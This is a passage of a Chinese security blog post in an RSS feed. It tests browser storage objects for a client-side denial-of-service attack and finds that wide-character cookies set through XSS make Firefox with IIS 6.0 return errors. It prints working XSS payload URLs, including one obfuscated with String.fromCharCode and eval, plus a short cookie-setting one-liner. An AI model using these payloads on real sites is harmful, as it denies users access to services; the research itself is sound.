VALUE=&quot;Load&quot; onclick=&quot;fnLoadInput()&quot;&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;INPUT TYPE=&quot;button&quot; VALUE=&quot;Save&quot; onclick=&quot;fnSaveInput()&quot;&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/FORM&gt;<br/>&nbsp;&nbsp;&lt;/BODY&gt;<br/>&nbsp;&nbsp;&lt;/HTML&gt;</div><br/>&nbsp;&nbsp;&nbsp;&nbsp;我们save我们的数据以后，IE 6 就会报出：“磁盘已满” 的错误提示，也就是我们无法写入大于等于 64 K 的数据，当超过这个数据限制以后，<br/>&nbsp;&nbsp;IE 就不允许再写入数据了，出错提示也是 save 方法处。那么针对整个域名的长度限制的测试我们就不需要了，因为我们是利用XSS攻击进行设置，也就是<br/>&nbsp;&nbsp;我们针对的单个页面进行攻击。所以 userdata 存储对象我们是无法进行攻击利用了。另外一点要说的是，因为userdata只支持IE7 以下版本，同时我们<br/>&nbsp;&nbsp;目标是让其实现ddos攻击，就算userdata数据进行溢出了，也不一定可以造成服务器返回40x错误，因为相对WEB服务器来说，他并不和 userdata 进行交互。<br/><br/>&nbsp;&nbsp;4、DOM Storage<br/>&nbsp;&nbsp;&nbsp;&nbsp;DOM 存储对象允许设置最大值限制为 5M，所以我可以用如下的代码进行测试：<br/><div class="code">&nbsp;&nbsp;&nbsp;&nbsp;&lt;script&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;window.onload = function ()&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var metastr = &quot;A&quot;; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var str = &quot;&quot;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while (str.length &lt; 1024*1024*5 )&#123;&nbsp;&nbsp;//这里设置 5M，实际大小为：5242880<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;str += metastr;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (window.globalStorage)&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.globalStorage.namedItem(&quot;www.a.com&quot;).setItem(&quot;test&quot;, str);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;else&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.localStorage.setItem(&quot;test&quot;, str);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (window.globalStorage)&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.getElementById(&quot;s&quot;).innerHTML += window.globalStorage.namedItem(&quot;www.a.com&quot;).getItem(&quot;test&quot;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;else&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.getElementById(&quot;s&quot;).innerHTML += window.localStorage.getItem(&quot;test&quot;);&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/script&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;div id=&quot;s&quot;&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/div&gt;</div><br/>&nbsp;&nbsp;当我们设置一个超长的大于5M的数据进去的话，Firefox 错误控制台会提示如下错误：<br/>&nbsp;&nbsp;错误：<div class="code"> uncaught exception: &#91;Exception... &quot;Persistent storage maximum size reached&quot;&nbsp;&nbsp;code: &quot;1014&quot; nsresult: &quot;0x805303f6 (NS_ERROR_DOM_QUOTA_REACHED)&quot;&nbsp;&nbsp;location: &quot;http://www.a.com/dom.html Line: 16&quot;&#93;。</div><br/>&nbsp;&nbsp;长度没有问题，我们通可以用一些特殊字符进行写入，比如将刚才的 A 改成一些乱码的字符，重新写入，但是页面还是可以正常读取，所以这个就测试失败了。<br/>&nbsp;&nbsp;经过我们前面对 4 种存储对象的不同测试，只测试到 cookie 存储对象存在漏洞，其他都未成功，所以下面我们只针对cookie引起的漏洞进行讨论。<br/><br/>三、漏洞利用<br/><br/>&nbsp;&nbsp;一般情况下，通过以上发现的漏洞，我们可以利用XSS脚本跨站漏洞进行实现客户端ddos攻击。比如如下简单存在漏洞的代码：&nbsp;&nbsp;<br/><div class="code">&nbsp;&nbsp;XSS.php<br/>&nbsp;&nbsp;&lt;?PHP<br/>&nbsp;&nbsp;&nbsp;&nbsp;echo $_GET&#91;&quot;xss&quot;&#93; ;<br/>&nbsp;&nbsp;?&gt;</div><br/>&nbsp;&nbsp;我们就可以这样的去构造：<br/><div class="code">&nbsp;&nbsp;http://127.0.0.1/test.php?xss=&lt;script&gt;document.cookie=&quot;我是中国人=我是中国人&quot;;void(0)&lt;/script&gt;</div><br/><br/>&nbsp;&nbsp;如果 magic_quotes_gpc = On 开启的，就要如下转义一下：<br/><div class="code"> http://127.0.0.1/test.php?xss=&lt;script&gt;eval(String.fromCharCode(100,111,99,117,109,101,<br/>110,116,46,99,111,111,107,105,101,61,34,25105,29233,22855,34382,61,25105,29233,22855,34382,34));<br/>void(0)&lt;/script&gt;</div><br/>&nbsp;&nbsp;虽然此 URL 比较长一些，但是相对前一段那个写入超长cookie的ddos方式有很大的优点，就是：它只需要写入一个可以引起问题的 中文 字符即可，比如一个最短的代码：&nbsp;&nbsp;<br/>&nbsp;&nbsp;<div class="code">document.cookie=&quot;我&quot;</div><br/>&nbsp;&nbsp;这样一个只包含 19 个字符的代码，就可以实现ddos攻击了。：）<br/><br/>四、环境影响<br/><br/>&nbsp;&nbsp;在我们测试之前，为了更快的进入主题，我是直接选取的直接可以触发漏洞的环境：Firefox + IIS 6.0 .当然，想成功攻击，必须受环境影响：<br/><br/>&nbsp;&nbsp;1、Firefox 任意版本<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;漏洞的主要原因是因为 Firefox 对宽字符cookie的不支持引起的，当用户设置宽字符的中文后，Firefox 没有正确的编码，然后发送给WEB 服务器的。<br/><br/>&nbsp;&nbsp;2、IIS 6.0<br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;也正是因为 Firefox 没有对cookie正确编码，造成 接收过来的是一些特殊 cookie。但是 iis 正好也没有正确处理，直接抛出 40x 错误了。<br/><br/>五、漏洞原因&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;也正是因为 Firefox 和 iis 同时有问题的这种极端情况下引发的漏洞。而其他环境中，却不会有这样问题，比如：IE 浏览器会正常编码cookie值、apache 会正确解析特殊cookie值等。<br/>只要两者有一者没有问题，就不会存在这种漏洞的可能。<br/><br/>六、后记&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;虽然本文我们只发现了 4 种存储对象中 cookie 的漏洞，但是我相信，在其他 3 种存储对象中，依然可以找到新的漏洞。<br/>&nbsp;&nbsp;另外要感谢 RAyH4c ，在很多问题上，都可以给我指点迷津，同时还教会我很多东西。<br/><br/>参考：<br/><br/>1、<a href="http://sites.google.com/a/80sec.com/80sec/charset-xss-in-web-application" target="_blank">http://sites.google.com/a/80sec.com/80sec/charset-xss-in-web-application</a><br/>2、<a href="http://hi.baidu.com/aullik5/blog/item/6947261e7eaeaac0a7866913.html" target="_blank">http://hi.baidu.com/aullik5/blog/item/6947261e7eaeaac0a7866913.html</a><br/>3、<a href="http://hi.baidu.com/aullik5/blog/item/60d2b5fc52675a1e09244d77.html" target="_blank">http://hi.baidu.com/aullik5/blog/item/60d2b5fc52675a1e09244d77.html</a><br/>3、<a href="http://www.ietf.org/rfc/rfc2616.txt" target="_blank">http://www.ietf.org/rfc/rfc2616.txt</a><br/>4、<a href="http://www.qgy18.com/lab/flashstorage/" target="_blank">http://www.qgy18.com/lab/flashstorage/</a><br/>Tags - <a href="http://www.woyigui.cn/tags/fuzz/" rel="tag">fuzz</a> , <a href="http://www.woyigui.cn/tags/ddos/" rel="tag">ddos</a> , <a href="http://www.woyigui.cn/tags/cookie/" rel="tag">cookie</a> , <a href="http://www.woyigui.cn/tags/xss/" rel="tag">xss</a>
]]>
</description>
</item>
</channel>
</rss>